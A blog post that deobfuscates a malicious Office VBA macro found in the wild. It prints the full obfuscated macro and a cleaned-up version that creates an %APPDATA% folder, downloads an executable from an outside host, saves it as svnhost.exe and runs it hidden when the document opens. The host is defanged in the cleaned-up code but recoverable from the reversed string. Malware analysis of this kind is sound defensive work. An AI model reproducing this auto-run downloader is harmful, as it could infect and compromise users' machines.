Somehow, I became a proud new owner of a piece of (somewhat) malicious code tonight. Once making sure it was properly neutered, and after running it through VirusTotal and being surprised by how few (9/55) engines were detecting it, I decided to take a look.
Sub HCYh58Llju(ByRef iKvmUvcYr3wp, ByVal Q3REKGitD, ByVal kwoeg8c) iKvmUvcYr3wp = Split(Q3REKGitD, kwoeg8c) End Sub Sub S1HL1_C(ByVal LL3FDJzJgC, ByVal cOdzspoHpj) On Error Resume Next xDyHfiQQsRQ8 = cOdzspoHpj.responseBody LL3FDJzJgC.Write xDyHfiQQsRQ8 End Sub Sub AutoOpen() On Error Resume Next Dim HUiu827TYRH HUiu827TYRH = StrReverse(StrReverse(StrReverse("m" & "d" & " " & "/"))) Const KMKM = "km " Const CCCC = " c" Dim q7bPJ655QjSG HCYh58Llju q7bPJ655QjSG, StrReverse("|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS"), "|" Dim nPtKNIjU35IQ Set nPtKNIjU35IQ = CreateObject("W" & StrReverse("tpircS") & "." & StrReverse("llehS")) C4KAAHcn = nPtKNIjU35IQ.ExpandEnvironmentStrings(q7bPJ655QjSG(4)) jnF1QSEGIA = Split(C4KAAHcn, "") R9Z8D2tPkYNy = UBound(jnF1QSEGIA) nPtKNIjU35IQ.Run "c" & StrReverse(KMKM & CCCC & HUiu827TYRH) & StrReverse("rid") & " """ & Mid(C4KAAHcn, 1, Len(C4KAAHcn) - Len(jnF1QSEGIA(R9Z8D2tPkYNy))) & """", 0, True Set v8t0w6fxasM = CreateObject(q7bPJ655QjSG(1)) v8t0w6fxasM.Open Chr$(71) + Chr$(69) + Chr$(84), q7bPJ655QjSG(3), False v8t0w6fxasM.setRequestHeader "Cache-Control", "no-cache, no-store" Set n7nUrIZKvU2A = CreateObject(q7bPJ655QjSG(2)) n7nUrIZKvU2A.Open v8t0w6fxasM.send n7nUrIZKvU2A.Type = 1 Application.Run "S1HL1_C", n7nUrIZKvU2A, v8t0w6fxasM Application.Run "h2xPVFcahn", n7nUrIZKvU2A, C4KAAHcn n7nUrIZKvU2A.Close nPtKNIjU35IQ.Run "c" & StrReverse(""" """" trats" & " c" & HUiu827TYRH) & C4KAAHcn & """", 0, False End Sub Function h2xPVFcahn(ByVal n7nUrIZKvU2ATMP, ByVal C4KAAHcnTMP) n7nUrIZKvU2ATMP.SaveToFile C4KAAHcnTMP, 2 End Function Sub Workbook_Open() On Error Resume Next AutoOpen End Sub
Oh noes .. it’s teh crypted!!! No, of course not. Someone just thought they’d be funny and obfuscate this to make it a bit tougher to figure out what they’ve done. Because, you know, StrReverse(StrReverse(StrReverse(…))) is 3 times better than a single StrReverse!!
So anyway, sarcasm aside (yeah, right), this is nothing more difficult than the cryptoquote in your Sundary newspaper or the (really great!) puzzles at the end of every Gravity Falls episode.
So let’s get out the text editor and start doing some simple search and replace.
First — let’s remove all the silly StrReverse functions. It’s pretty easy to pick out the most interesting, and reverse it from the CLI:
Please mentally ignore all occurrences of “<DONT_GO_HERE>” — I just injected them because I didn’t trust this blog to not automagically make those URLs clickable.
$ echo "|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS" | rev Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dalinam<DONT_GO_HERE>sdelo43.<DONT_GO_HERE>com/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|
Of course, this now makes it pretty obvious that the subroutine named “HCYh58Llju” is just taking a string delimited by “|” and splitting it up into an array — so do a quick “s/HCYh58Llju/splitter_func/” on the file, just to make it easier to read.
The rest of the steps are pretty easy to follow — just keep finding easy string concatenation or reversal, and do a search and replace on obfuscated names once you figure out what they do. Here is the final result of my analysis:
//Sub splitter_func(ByRef splitted, ByVal urlstr, ByVal seperator) // splitted = Split(urlstr, seperator) //End Sub
Sub write_xmlhttp_response_to_stream_func(ByVal LL3FDJzJgC, ByVal xmlhttp_objTMP) On Error Resume Next xml_responsebody_obj = xmlhttp_objTMP.responseBody adodb_objTMP.Write xml_responsebody_obj End Sub
Sub AutoOpen() On Error Resume Next Dim HUiu827TYRH HUiu827TYRH = "/ dm" Const KMKM = "km " Const CCCC = " c"
Dim splitted_data // splitter_func splitted_data, "Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dal<DONT_GO_HERE>inamsdelo43.co<DONT_GO_HERE>m/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|", "|"
splitted_data=("Shell","Microsoft.XMLHTTP","ADODB.Stream","http://da<DONT_GO_HERE>linamsd<DONT_GO_HERE>elo43.c<DONT_GO_HERE>om/posts/dli506.exe","%APPDATA%WndUpdatesvnhost.exe")
Dim wscript_shell_obj Set wscript_shell_obj = CreateObject("WScript.Shell") wndupd_location_str = wscript_shell_obj.ExpandEnvironmentStrings("%APPDATA%WndUpdatesvnhost.exe")
wndupd_location_parts = Split(wndupd_location_str, "") highest_index_of_wndupd_loc_parts = UBound(wndupd_location_parts)
#MJS Make a directory in APPDATA wscript_shell_obj.Run "cmd /cmkdir "%APPDATA%WndUpdate""", 0, True
Set xmlhttp_obj = CreateObject("Microsoft.XMLHTTP") xmlhttp_obj.Open "GET", "http://dal<DONT_GO_HERE>inamsdelo<DONT_GO_HERE>43.c<DONT_GO_HERE>om/posts/dli506.exe", False xmlhttp_obj.setRequestHeader "Cache-Control", "no-cache, no-store"
Set adodb_obj = CreateObject("ADODB.Stream") adodb_obj.Open xmlhttp_obj.send adodb_obj.Type = 1 Application.Run "write_xmlhttp_response_to_stream_func", adodb_obj, xmlhttp_obj Application.Run "save_stream_to_file_func", adodb_obj, wndupd_location_str adodb_obj.Close wscript_shell_obj.Run "cmd /cstart "%APPDATA%WndUpdatesvnhost.exe""", 0, False End Sub
Function save_stream_to_file_func(ByVal adodb_objTMP, ByVal wndupd_location_strTMP) adodb_objTMP.SaveToFile wndupd_location_strTMP, 2 End Function
Sub Workbook_Open() On Error Resume Next AutoOpen End Sub
Conclusion:
This was a stupid exercise. All this script does is create a directory in %APPDATA%, downloads a file from a random site, names is svnhost.exe locally, and then executes that file. Pretty straightforward stage 1 payload. The real fun, of course, is in analyzing stage 2. But I’ll leave that for the pros ….